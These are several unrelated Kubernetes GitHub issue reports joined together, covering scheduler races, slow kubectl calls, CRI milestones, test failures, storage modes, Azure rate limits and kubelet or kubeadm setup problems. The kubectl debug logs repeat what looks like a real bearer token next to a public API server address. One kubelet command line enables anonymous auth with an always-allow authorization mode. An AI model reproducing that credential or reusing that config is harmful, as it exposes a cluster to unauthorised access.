pod and there are not enough resources for the nominated pod.\r \r   what you expected to happen  :\r \r the race condition in setting nominatednodename must be eliminated. we should use a similar approach to \ assume\  to update the scheduler cache with nominated pods early and not wait for pod status updates.\r \r <!-- do not edit below this line -->\r  \r  /assign

some calls seem to take much longer than others, and others even timeout. i don't have a reliable repro. i've only observed this recently. i don't think i have anything weird in my cluster:      14:06:31-beeps~/logs $ k get nodes --v=7 i0220 14:06:40.151191   15236 loader.go:230  config loaded from file /usr/local/google/home/beeps/.kube/config i0220 14:06:40.153851   15236 loader.go:230  config loaded from file /usr/local/google/home/beeps/.kube/config i0220 14:06:40.156705   15236 loader.go:230  config loaded from file /usr/local/google/home/beeps/.kube/config i0220 14:06:40.159301   15236 loader.go:230  config loaded from file /usr/local/google/home/beeps/.kube/config i0220 14:06:40.162080   15236 loader.go:230  config loaded from file /usr/local/google/home/beeps/.kube/config i0220 14:06:40.164536   15236 loader.go:230  config loaded from file /usr/local/google/home/beeps/.kube/config i0220 14:06:40.167837   15236 round_trippers.go:264  get https://104.197.221.130/api i0220 14:06:40.167897   15236 round_trippers.go:271  request headers: i0220 14:06:40.167925   15236 round_trippers.go:274      accept: application/json,  /  i0220 14:06:40.167952   15236 round_trippers.go:274      authorization: bearer wt4boptyj6kcsykcsukqo5wqp0uyse9m i0220 14:06:40.345062   15236 round_trippers.go:289  response status: 200 ok in 177 milliseconds i0220 14:06:40.345419   15236 round_trippers.go:264  get https://104.197.221.130/apis i0220 14:06:40.345438   15236 round_trippers.go:271  request headers: i0220 14:06:40.345448   15236 round_trippers.go:274      accept: application/json,  /  i0220 14:06:40.345457   15236 round_trippers.go:274      authorization: bearer wt4boptyj6kcsykcsukqo5wqp0uyse9m i0220 14:06:40.382801   15236 round_trippers.go:289  response status: 200 ok in 37 milliseconds i0220 14:06:40.385265   15236 round_trippers.go:264  get https://104.197.221.130/api/v1/nodes i0220 14:06:40.385309   15236 round_trippers.go:271  request headers: i0220 14:06:40.385332   15236 round_trippers.go:274      accept: application/json,  /  i0220 14:06:40.385354   15236 round_trippers.go:274      user-agent: kubectl/v1.2.0  linux/amd64  kubernetes/6a1156d i0220 14:06:40.385376   15236 round_trippers.go:274      authorization: bearer wt4boptyj6kcsykcsukqo5wqp0uyse9m i0220 14:06:40.424138   15236 round_trippers.go:289  response status: 200 ok in 38 milliseconds name                         status    age e2e-test-beeps-minion-7jwj   ready     22h  14:06:40-beeps~/logs $ k get nodes --v=7 i0220 14:06:44.300742   15295 loader.go:230  config loaded from file /usr/local/google/home/beeps/.kube/config i0220 14:06:44.303272   15295 loader.go:230  config loaded from file /usr/local/google/home/beeps/.kube/config i0220 14:06:44.306249   15295 loader.go:230  config loaded from file /usr/local/google/home/beeps/.kube/config i0220 14:06:44.308678   15295 loader.go:230  config loaded from file /usr/local/google/home/beeps/.kube/config i0220 14:06:44.311314   15295 loader.go:230  config loaded from file /usr/local/google/home/beeps/.kube/config i0220 14:06:44.313737   15295 loader.go:230  config loaded from file /usr/local/google/home/beeps/.kube/config i0220 14:06:44.315925   15295 round_trippers.go:264  get https://104.197.221.130/api i0220 14:06:44.315953   15295 round_trippers.go:271  request headers: i0220 14:06:44.315964   15295 round_trippers.go:274      accept: application/json,  /  i0220 14:06:44.315974   15295 round_trippers.go:274      authorization: bearer wt4boptyj6kcsykcsukqo5wqp0uyse9m i0220 14:06:52.724444   15295 round_trippers.go:289  response status: 200 ok in 8408 milliseconds i0220 14:06:52.724836   15295 round_trippers.go:264  get https://104.197.221.130/apis i0220 14:06:52.724863   15295 round_trippers.go:271  request headers: i0220 14:06:52.724872   15295 round_trippers.go:274      accept: application/json,  /  i0220 14:06:52.724880   15295 round_trippers.go:274      authorization: bearer wt4boptyj6kcsykcsukqo5wqp0uyse9m i0220 14:06:52.762363   15295 round_trippers.go:289  response status: 200 ok in 37 milliseconds i0220 14:06:52.763607   15295 round_trippers.go:264  get https://104.197.221.130/api/v1/nodes i0220 14:06:52.763623   15295 round_trippers.go:271  request headers: i0220 14:06:52.763632   15295 round_trippers.go:274      user-agent: kubectl/v1.2.0  linux/amd64  kubernetes/6a1156d i0220 14:06:52.763640   15295 round_trippers.go:274      accept: application/json,  /  i0220 14:06:52.763648   15295 round_trippers.go:274      authorization: bearer wt4boptyj6kcsykcsukqo5wqp0uyse9m i0220 14:06:53.650352   15295 round_trippers.go:289  response status: 200 ok in 886 milliseconds name                         status    age e2e-test-beeps-minion-7jwj   ready     22h      this was 2 back to back get nodes call.  time between request/response of first get in second invocation is ~5s. apiserver logs in this segment:      i0220 22:06:40.327541       7 handlers.go:130  get /api:  375.053µs  200   go-http-client/1.1  104.132.0.73:33369  i0220 22:06:40.365240       7 handlers.go:130  get /apis:  326.712µs  200   go-http-client/1.1  104.132.0.73:33369  i0220 22:06:40.406422       7 handlers.go:130  get /api/v1/nodes:  1.505623ms  200   kubectl/v1.2.0  linux/amd64  kubernetes/6a1156d  104.132.0.73:33369  i0220 22:06:40.863264       7 handlers.go:130  get /api/v1/watch/pods?resourceversion=8508&timeoutseconds=218:  3m38.000515448s  200   kube-controller-manager/v1.2.0  linux/amd64  kubernetes/a694a7a/daemon-set-controller  127.0.0.1:55450  i0220 22:06:41.866234       7 handlers.go:130  get /api/v1/pods?resourceversion=0:  2.071635ms  200   kube-controller-manager/v1.2.0  linux/amd64  kubernetes/a694a7a/daemon-set-controller  127.0.0.1:55450  i0220 22:06:43.579728       7 handlers.go:130  get /api/v1/watch/replicationcontrollers?resourceversion=8476&timeoutseconds=28:  28.000596489s  200   kube-controller-manager/v1.2.0  linux/amd64  kubernetes/a694a7a/replication-controller  127.0.0.1:55858  i0220 22:06:43.789914       7 handlers.go:130  get /api/v1/nodes:  1.178822ms  200   kube-controller-manager/v1.2.0  linux/amd64  kubernetes/a694a7a/node-controller  127.0.0.1:55858  i0220 22:06:44.582461       7 handlers.go:130  get /api/v1/replicationcontrollers?resourceversion=0:  1.541981ms  200   kube-controller-manager/v1.2.0  linux/amd64  kubernetes/a694a7a/replication-controller  127.0.0.1:55858  i0220 22:06:45.769037       7 handlers.go:130  get /api/v1/nodes:  1.215155ms  200   kube-controller-manager/v1.2.0  linux/amd64  kubernetes/a694a7a/route-controller  127.0.0.1:55885  i0220 22:06:48.794007       7 handlers.go:130  get /api/v1/nodes:  1.355202ms  200   kube-controller-manager/v1.2.0  linux/amd64  kubernetes/a694a7a/node-controller  127.0.0.1:55885  i0220 22:06:48.968641       7 handlers.go:130  get /api/v1/nodes/e2e-test-beeps-minion-7jwj:  2.873191ms  200   kubelet/v1.2.0  linux/amd64  kubernetes/a694a7a  10.240.0.3:53650  i0220 22:06:49.031853       7 handlers.go:130  put /api/v1/nodes/e2e-test-beeps-minion-7jwj/status:  5.119063ms  200   kubelet/v1.2.0  linux/amd64  kubernetes/a694a7a  10.240.0.3:53650  i0220 22:06:49.691440       7 handlers.go:130  get /healthz:  165.819µs  200   go 1.1 package http  127.0.0.1:55894  i0220 22:06:52.706889       7 handlers.go:130  get /api:  320.109µs  200   go-http-client/1.1  104.132.0.73:41204  i0220 22:06:52.744792       7 handlers.go:130  get /apis:  368.277µs  200   go-http-client/1.1  104.132.0.73:41204  i0220 22:06:52.784797       7 handlers.go:130  get /api/v1/nodes:  1.610906ms  200   kubectl/v1.2.0  linux/amd64  kubernetes/6a1156d  104.132.0.73:41204  i0220 22:06:53.797358       7 handlers.go:130  get /api/v1/nodes:  1.396378ms  200   kube-controller-manager/v1.2.0  linux/amd64  kubernetes/a694a7a/node-controller  127.0.0.1:55885       here is an example of the timeout:      ^c14:33:42-beeps~/logs $ k get pods --v=7 i0220 14:33:46.971573   24498 loader.go:230  config loaded from file /usr/local/google/home/beeps/.kube/config i0220 14:33:46.974041   24498 loader.go:230  config loaded from file /usr/local/google/home/beeps/.kube/config i0220 14:33:46.976900   24498 loader.go:230  config loaded from file /usr/local/google/home/beeps/.kube/config i0220 14:33:46.979554   24498 loader.go:230  config loaded from file /usr/local/google/home/beeps/.kube/config i0220 14:33:46.982322   24498 loader.go:230  config loaded from file /usr/local/google/home/beeps/.kube/config i0220 14:33:46.984989   24498 loader.go:230  config loaded from file /usr/local/google/home/beeps/.kube/config i0220 14:33:46.988081   24498 round_trippers.go:264  get https://104.197.221.130/api i0220 14:33:46.988108   24498 round_trippers.go:271  request headers: i0220 14:33:46.988118   24498 round_trippers.go:274      accept: application/json,  /  i0220 14:33:46.988127   24498 round_trippers.go:274      authorization: bearer wt4boptyj6kcsykcsukqo5wqp0uyse9m i0220 14:33:58.023398   24498 round_trippers.go:289  response status:  in 11035 milliseconds i0220 14:33:58.023681   24498 helpers.go:183  connection error: get https://104.197.221.130/api: net/http: tls handshake timeout f0220 14:33:58.023738   24498 helpers.go:107  unable to connect to the server: net/http: tls handshake timeout       and apiserver logs:      i0220 22:33:42.044141       7 handlers.go:130  put /api/v1/nodes/e2e-test-beeps-minion-7jwj/status:  4.252317ms  200   kubelet/v1.2.0  linux/amd64  kubernetes/a694a7a  10.240.0.3:56291  i0220 22:33:42.318841       7 handlers.go:130  get /apis/extensions/v1beta1/ingresses:  1.097698ms  200   controller/v0.0.0  linux/amd64  kubernetes/$format  10.245.0.4:39266  i0220 22:33:44.974387       7 handlers.go:130  get /api/v1/nodes:  1.165162ms  200   kube-controller-manager/v1.2.0  linux/amd64  kubernetes/a694a7a/node-controller  127.0.0.1:57412  i0220 22:33:47.484854       7 handlers.go:130  get /api/v1/nodes:  1.396596ms  200   kube-controller-manager/v1.2.0  linux/amd64  kubernetes/a694a7a/route-controller  127.0.0.1:57412  i0220 22:33:48.003731       7 handlers.go:130  get /api/v1/watch/replicationcontrollers?resourceversion=9049&timeoutseconds=28:  28.000528684s  200   kube-controller-manager/v1.2.0  linux/amd64  kubernetes/a694a7a/replication-controller  127.0.0.1:57367  i0220 22:33:49.006006       7 handlers.go:130  get /api/v1/replicationcontrollers?resourceversion=0:  1.438759ms  200   kube-controller-manager/v1.2.0  linux/amd64  kubernetes/a694a7a/replication-controller  127.0.0.1:57412  i0220 22:33:49.690848       7 handlers.go:130  get /healthz:  119.099µs  200   go 1.1 package http  127.0.0.1:57420  i0220 22:33:49.977366       7 handlers.go:130  get /api/v1/nodes:  1.064061ms  200   kube-controller-manager/v1.2.0  linux/amd64  kubernetes/a694a7a/node-controller  127.0.0.1:57414  i0220 22:33:52.048165       7 handlers.go:130  get /api/v1/nodes/e2e-test-beeps-minion-7jwj:  1.500798ms  200   kubelet/v1.2.0  linux/amd64  kubernetes/a694a7a  10.240.0.3:56291  i0220 22:33:52.129668       7 handlers.go:130  put /api/v1/nodes/e2e-test-beeps-minion-7jwj/status:  6.262778ms  200   kubelet/v1.2.0  linux/amd64  kubernetes/a694a7a  10.240.0.3:56291  i0220 22:33:52.319303       7 handlers.go:130  get /apis/extensions/v1beta1/ingresses:  1.192323ms  200   controller/v0.0.0  linux/amd64  kubernetes/$format  10.245.0.4:39266  i0220 22:33:54.980320       7 handlers.go:130  get /api/v1/nodes:  1.545543ms  200   kube-controller-manager/v1.2.0  linux/amd64  kubernetes/a694a7a/node-controller  127.0.0.1:57414  i0220 22:33:55.161488       7 handlers.go:130  get /apis/extensions/v1beta1/watch/replicasets?resourceversion=3&timeoutseconds=459:  7m39.00045809s  200   kube-scheduler/v1.2.0  linux/amd64  kubernetes/a694a7a  127.0.0.1:34163  i0220 22:33:56.561410       7 handlers.go:130  get /api/v1/watch/endpoints?resourceversion=9028&timeoutseconds=473:  7m53.000942057s  200   kube2sky/v0.0.0  linux/amd64  kubernetes/$format  10.245.0.10:46138  i0220 22:33:57.298243       7 handlers.go:130  get /api/v1/namespaces/default/pods/nginx-ingress-6ocgg:  1.359051ms  200   kube-scheduler/v1.2.0  linux/amd64  kubernetes/a694a7a  127.0.0.1:34225

this issue is created to help track the progress of the container runtime interface/api. the original issue is  22964 \r \r   summary of current status  \r -  we reached an agreement on the general concept of pod sandbox and imperative container-level operations. the proposal, together with a placeholder golang interface file was merged in \r    25899 .\r - there is a pr to implement the api using grpc+protobuf. the goal is to add a path in kubelet to use this new runtime api, so that we can start implementing pocs against the api and iterate on the api based on the feedback.\r - there are also a slew of issues filed to further discuss specific parts of the api. this is necessary because the api involves too many aspects and discussing in a central place is almost impossible. we also hope that we can tackle different issues separately while collecting feedback from some early pocs.\r \r to re-iterate a bit, the   goals   of the api are:\r - improve extensibility\r   - prevent container runtime lock-in\r   - build a better ecosystem\r   - encourage user adoption\r - higher velocity & lower code maintenance cost\r \r the timeline is merely an estimate now and is subject to changes.\r \r   milestone 0: v1alpha1 of container runtime api  ~1 month   \r the v1alpha1 api is experimental and supports the core functionalities required by kubelet/kubernetes. once this milestone is met, developers can start implementing pocs against the api and provide feedback.\r _requirements:_\r - define container runtime interface  pr . owner: @yujuhong\r - define the api with protobuf and grpc  pr . owner: @feiskyer \r - refactor kubelet to add support for the interface/api. unit tests are required.   31458  owner: @yujuhong, @feiskyer \r \r   milestone 1: v1alpha2, feature-complete version of the api   ~1 month   \r some advanced/controversial features are not addressed in the v1alpha1 api as they require elongated discussions and potential changes to the kubernetes api. these features should be be addressed in the v1alphan version of the api.\r these features include:\r - log management   30709 owner: @yujuhong @random-liu  \r - container metrics   27097  owner: @dchen1107 \r - streaming requests  exec/attach/port-forward    29579  owner: @timstclair \r - network plugin   28667  owner: @freehan \r - api machinery   28642  owner: ? \r -  optional  image management  ?   owner: @mrunalp \r \r   milestone 3: hyper and docker integrated using runtime api/interface  ~2 months   \r this milestone demonstrates that the api meets the minimal requirements to support a runtime in the kubelet. note that docker will remain in the kubelet codebase, but will be refactored to use the internal runtime interface matching the new api. \r requirements:\r the integrated runtime should pass all node conformance tests\r - docker.   31459  owner: @yujuhong\r - hyper  https://github.com/kubernetes/frakti . owner: @feiskyer \r \r   milestone 4: promote the api version to beta   ~n months   \r release the beta version of the api.\r requirements:\r - rkt integration with kubernetes via the cri api. owner: @tmrts\r - a complete upgrade story.\r \r other related issues: oci/runc integration  26788 \r \r /cc @kubernetes/sig-node @kubernetes/sig-rktnetes @thockin \r

we want to get rid of unversioned client eventually.  cc @wojtek-t @caesarxuchao @dchen1107 @kubernetes/test-infra-maintainers

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r i want to run  e2e_node  test on  local   ubuntu  with this cmd:\r    shell\r make test-e2e-node focus=\ \\ feature:docker\\ \  parallelism=1\r    \r \r   what you expected to happen  :\r \r e2e_node test pass\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r    shell\r make test-e2e-node focus=\ \\ feature:docker\\ \  parallelism=1\r    \r \r   anything else we need to know?  :\r \r after go into details i got this info:\r    shell\r invalid argument \ --eviction-hard\  for --feature-gates: malformed pair, expect string=bool\r    \r i think e2e_node start kubelet by this cmd  --feature-gates  --eviction-hard \ memory.available...\   as   feature-gates  is not set by default in  here  https://github.com/kubernetes/kubernetes/blob/master/test/e2e_node/services/kubelet.go l170 :\r \r    go\r \ --feature-gates\ , framework.testcontext.featuregates,\r    \r after fix it temporarily i got one more error about this issue:\r \r    shell\r error: failed to run kubelet: running with swap on is not supported, please disable swap! or set --fail-swap-on flag to false. \r    \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    shell\r client version: version.info{major:\ \ , minor:\ \ , gitversion:\ v0.0.0-master+$format:%h$\ , gitcommit:\ $format:%h$\ , gittreestate:\ not a git tree\ , builddate:\ 1970-01-01t00:00:00z\ , goversion:\ go1.9\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r    shell\r name=\ ubuntu\ \r version=\ 16.04.3 lts  xenial xerus \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 16.04.3 lts\ \r version_id=\ 16.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r version_codename=xenial\r ubuntu_codename=xenial\r    \r - kernel  e.g.  uname -a  :\r    shell\r linux cenph 4.10.0-37-generic  41~16.04.1-ubuntu smp fri oct 6 22:42:59 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r    \r - install tools:\r - others:\r \r i will send a pr to fix this if it is confirmed.

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >  \r  \r \r   what happened  :\r i am exploring persistent storage strategy for my services. i am using persistentvolumes and persistenvolumeclaims but the problem is that i am trying to mount the claim to initcontainer and container with different access modes. but currently you have to define the access mode in persistentvolumeclaim and then you have to mount the same claim to both initcontainer and contianer.\r \r   what you expected to happen  :\r what i want is that the initcontainer should mount the volume claim in write mode and do the required task and then the actual container mount the same volume claim in read only mode.\r \r   how to reproduce it  as minimally and precisely as possible   :\r - add a persistentvolume.\r - add a persistentvolumeclaim\r - try mount this claim to initcontainer in readonly mode and container in readwritemany mode.\r \r   anything else we need to know?  :\r is there any way we can define different modes for initcontainer?\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.8.1\r - cloud provider or hardware configuration: azure kubernetes service\r - os  e.g. from /etc/os-release : linux\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

in go1.10, the following test fails:\r    \r $ go test -v ./vendor/k8s.io/apiserver/pkg/authentication/request/x509\r === run   testx509\r --- fail: testx509  0.02s \r         x509_test.go:700: server cert: expected error, got none\r === run   testx509verifier\r --- fail: testx509verifier  0.00s \r         x509_test.go:855: server cert disallowed: expected error, got none\r fail\r fail    k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/authentication/request/x509       0.039s\r    \r \r cc: @kubernetes/sig-auth-bugs @liggitt

this test is failing in gce serial suite:\r http://k8s-testgrid.appspot.com/sig-release-master-blocking gci-gce-serial\r \r  / /  /status approved-for-milestone\r \r cc @jdumars @jberkus \r /assign @roberthbailey @luxas @lukemarsden @jbeda\r \r xref  60003

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if this may be security issue, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r >   \r \r   what happened  :\r ideally we would like to have master/cluster upgrade test that exercises kubelet device plugin support based on a stub device plugin. given that the stub device plugin based e2e test is not available yet, we may start with an upgrade test that is based on the existing gpu device plugin.\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if this may be security issue, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r >  \r \r   what happened  :\r when i run the following command from the terminal\r    \r kubectl create configmap game-config-3 --from-file=game-special-key=https://k8s.io/docs/tasks/configure-pod-container/configmap/kubectl/game.properties\r    \r i receive \r \r > error: error reading https://k8s.io/docs/tasks/configure-pod-container/configmap/kubectl/game.properties: no such file or directory\r > \r \r   how to reproduce it  as minimally and precisely as possible   :\r 1. minikube start\r 2. kubectl create configmap game-config-3 --from-file=game-special-key=https://k8s.io/docs/tasks/configure-pod-container/configmap/kubectl/game.properties\r \r   what you expected to happen  :\r from the 1.10 documentation, this should create a configmap from the remote game.properties file\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.10.0\r - cloud provider or hardware configuration: minikube\r - os  e.g. from /etc/os-release :  osx 10.10.5\r - kernel  e.g.  uname -a  : darwin macbook-pro-2.local 14.5.0 darwin kernel version 14.5.0: sun jun  4 21:40:08 pdt 2017; root:xnu-2782.70.3~1/release_x86_64 x86_64\r

  \r   what happened  :\r i have upgraded a small 15 node cluster from version 1.9.7 to 1.10.3 that runs ~50 pods and 4 services of type  loadbalancer . the upgrade went smooth. when creating a new service of type  loadbalancer  then the new lb is pending and is not getting created because the arm limits are hit:\r    \r i0605 06:12:18.805985       1 service_controller.go:300  ensuring lb for service default/test-lb-svc\r i0605 06:12:18.806074       1 azure_loadbalancer.go:444  reconcileloadbalancer default/test-lb-svc  - wantlb false : started\r e0605 06:12:18.806097       1 azure_backoff.go:176  loadbalancerclient.list my-resource-group  - backoff: failure, will retry,err=azure - arm rate limited read  for operation:lblist\r e0605 06:12:18.806127       1 service_controller.go:219  error processing service default/test-lb-svc  will retry : failed to ensure load balancer for service default/test-lb-svc: azure - arm rate limited read  for operation:lblist\r i0605 06:12:18.806179       1 event.go:218  event v1.objectreference{kind:\ service\ , namespace:\ default\ , name:\ test-lb-svc\ , uid:\ 5022906c-4f22-11e8-9741-0a580a3006f6\ , apiversion:\ v1\ , resourceversion:\ 7709447\ , fieldpath:\ \ } : type: 'warning' reason: 'creatingloadbalancerfailed' error creating load balancer  will retry : failed to ensure load balancer for service default/test-lb-svc: azure - arm rate limited read  for operation:lblist\r i0605 06:12:18.806287       1 event.go:218  event v1.objectreference{kind:\ service\ , namespace:\ default\ , name:\ test-lb-svc\ , uid:\ 5022906c-4f22-11e8-9741-0a580a3006f6\ , apiversion:\ v1\ , resourceversion:\ 7709447\ , fieldpath:\ \ } : type: 'normal' reason: 'ensuringloadbalancer' ensuring load balancer\r e0605 06:12:18.807065       1 azure_backoff.go:176  loadbalancerclient.list my-resource-group  - backoff: failure, will retry,err=azure - arm rate limited read  for operation:lblist\r e0605 06:12:18.807175       1 service_controller.go:219  error processing service default/kubernetes  will retry : error getting lb for service default/kubernetes: azure - arm rate limited read  for operation:lblist\r    \r the are other applications which do calls with the same user to the azure api as well, but very less and very infrequently. the 15.000 reads/hour limit will definitely not be filled up by them.\r \r   what you expected to happen  :\r the arm limits are not exceeded as the cluster is very small.\r \r   how to reproduce it  as minimally and precisely as possible   :\r as describe above; create a cluster with version 1.9, create a few lb services, upgrade to 1.10.3 and create another lb service.\r \r   anything else we need to know?  :\r -\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.10.3\r - cloud provider or hardware configuration: azure\r - os  e.g. from /etc/os-release : coreos 1745.4.0\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  >  \r \r   what happened  :\r when starting the kubelet binary it fails on\r  server.go:233  failed to run kubelet: could not detect clock speed from output: \ \  \r   what you expected to happen  :\r kubelet to start up or produce an error i can use to debug.\r   how to reproduce it  as minimally and precisely as possible   :\r i'm building a containerized cluster on alpine images.\r i used kubernetes-the-hard-way as a baseline\r the kubelet image is run privileged, has containerd running and uses this config:\r    \r /bin/kubelet \\\r --address 192.168.0.4 \\\r --allow-privileged true \\\r --anonymous-auth true \\\r --authorization-mode alwaysallow \\\r --cloud-provider \ \ \\\r --cni-bin-dir /opt/cni/bin \\\r --cni-conf-dir /etc/cni/net.d \\\r --containerized true \\\r --container-runtime remote \\\r --container-runtime-endpoint unix:///var/run/containerd/containerd.sock \\\r --image-pull-progress-deadline 2m \\\r --kubeconfig /var/lib/kubelet/kubeconfig \\\r --network-plugin cni \\\r --register-node true \\\r --root-dir /var/lib/kubelet \\\r --v 2\r    \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.10.2\r - cloud provider or hardware configuration: bare metal / containerized\r - os  e.g. from /etc/os-release : ubuntu 16.04.4 lts\r - kernel  e.g.  uname -a  : 4.4.0-128-generic  154-ubuntu smp fri may 25 14:15:18 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r - install tools: -\r - others:

is this a bug report or feature request?  :\r  \r   what happened  :\r when i use kubeadm to create a cluster, the specified parameter \ listen-client-urls\  does not work.\r kubeadm init --config=kube-config.yaml fail with connection refuse for get http://127.0.0.1:2379 \r i think the element 'listen-client-urls' is unrecognized if the customized value is not equal '127.0.0.1'\r here is my kube-config.yaml \r    \r apiversion: kubeadm.k8s.io/v1alpha2\r kind: masterconfiguration\r apiservercertsans:    \r - 192.168.192.128\r - kube-dev\r api:\r   advertiseaddress: 192.168.192.128\r   bindport: 6440\r bootstraptokens:\r - groups:\r   - system:bootstrappers:kubeadm:default-node-token\r   token: abcdef.0123456789abcdef\r   ttl: 48h0m0s\r   usages:\r   - signing\r   - authentication\r etcd:\r   local:\r     extraargs:\r       listen-client-urls: https://192.168.192.128:2379\r       advertise-client-urls: https://192.168.192.128:2379\r       listen-peer-urls: https://192.168.192.128:2380\r       initial-advertise-peer-urls: https://192.168.192.128:2380\r       initial-cluster: kube-dev=https://192.168.192.128:2380\r       initial-cluster-state: new\r     servercertsans:\r       - kube-dev\r       - 192.168.192.128\r     peercertsans:\r       - kube-dev\r       - 192.168.192.128\r serverextraargs:\r   endpoint-reconciler-type: lease\r \r networking:\r   podsubnet: 192.168.0.0/16  \r kubernetesversion: v1.11.2 \r featuregates:  \r    coredns: true\r \r    \r \r no matter how i set the \ listen-client-urls\  parameter in the kube-config.yaml ,\r it is awlays be \ https://127.0.0.1:2379\ \r \r   what you expected to happen  :\r the parameter \ listen-client-urls\  can work!\r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.11.2\r - cloud provider or hardware configuration: \r - os  e.g. from /etc/os-release : centos linux release 7.5.1804  core \r - kernel  e.g.  uname -a  : linux kube-dev 3.10.0-862.el7.x86_64  1 smp fri apr 20 16:44:24 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r - install tools:\r - others:\r \r

what happened  :\r this bug is similar to  42412\r when creating a pod spec with an init container that requests all the available gpus on a node, if both the initcontainer and normal container request that max amount, the init container will run fine but the normal container hits \r    \r   warning  failed                 8m  x6 over 9m    kubelet, 10.176.86.186  error: requested number of gpus unavailable. requested: 2, available: 0\r    \r \r   what you expected to happen  :\r the init container should release the gpu and it should be available for subsequent containers to use.\r \r   how to reproduce it  as minimally and precisely as possible   :\r you can run\r    \r ---\r apiversion: v1\r kind: pod\r metadata:\r   name: busybox\r spec:\r   containers:\r   - name: busybox\r     image: busybox\r     args:\r     - sleep\r     - \ 10\ \r     resources:\r       requests:\r         alpha.kubernetes.io/nvidia-gpu: 4\r         cpu: \ 2\ \r         memory: 4gi\r       limits:\r         alpha.kubernetes.io/nvidia-gpu: 4\r         cpu: \ 2\ \r         memory: 4gi\r   initcontainers:\r   - name: init-myservice\r     image: busybox\r     command:  'sh', '-c', 'sleep 200' \r     resources:\r       requests:\r         alpha.kubernetes.io/nvidia-gpu: 4\r         cpu: \ 2\ \r         memory: 4gi\r       limits:\r         alpha.kubernetes.io/nvidia-gpu: 4\r         cpu: \ 2\ \r         memory: 4gi\r   restartpolicy: never\r    \r \r sample event\r    \r events:\r   type     reason                 age               from                    message\r   ----     ------                 ----              ----                    -------\r   normal   scheduled              13m               default-scheduler       successfully assigned busybox to 10.176.86.186\r   normal   successfulmountvolume  13m               kubelet, 10.176.86.186  mountvolume.setup succeeded for volume \ default-token-xvj8k\ \r   normal   pulling                13m               kubelet, 10.176.86.186  pulling image \ busybox\ \r   normal   pulled                 13m               kubelet, 10.176.86.186  successfully pulled image \ busybox\ \r   normal   created                13m               kubelet, 10.176.86.186  created container\r   normal   started                13m               kubelet, 10.176.86.186  started container\r   warning  failed                 8m  x6 over 9m    kubelet, 10.176.86.186  error: requested number of gpus unavailable. requested: 2, available: 0\r   normal   pulled                 8m  x7 over 9m    kubelet, 10.176.86.186  successfully pulled image \ busybox\ \r   normal   pulling                3m  x30 over 9m   kubelet, 10.176.86.186  pulling image \ busybox\ \r    \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.10\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release : \r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r <!-- do not edit below this line -->\r 

/milestone v1.14\r  / this seems like a contributor to https://github.com/kubernetes/kubernetes/issues/74960\r \r  because this seems related to webhooks\r \r   the top failure cluster  https://storage.googleapis.com/k8s-gubernator/triage/index.html?text=context%20deadline%20exceeded 64be6920d60431a72cc0  appears to belong to you\r \r https://storage.googleapis.com/k8s-gubernator/triage/index.html?text=context%20deadline%20exceeded\r ! screen shot 2019-03-05 at 11 13 38 am  https://user-images.githubusercontent.com/49258/53830619-c0171480-3f37-11e9-92a5-930d9f8c7215.png \r \r this failure is cropping across numerous tests and jobs.  something pretty clearly changed to make things worse.  i'm not sure what, i'm hoping someone from the tagged sigs can help triage.\r

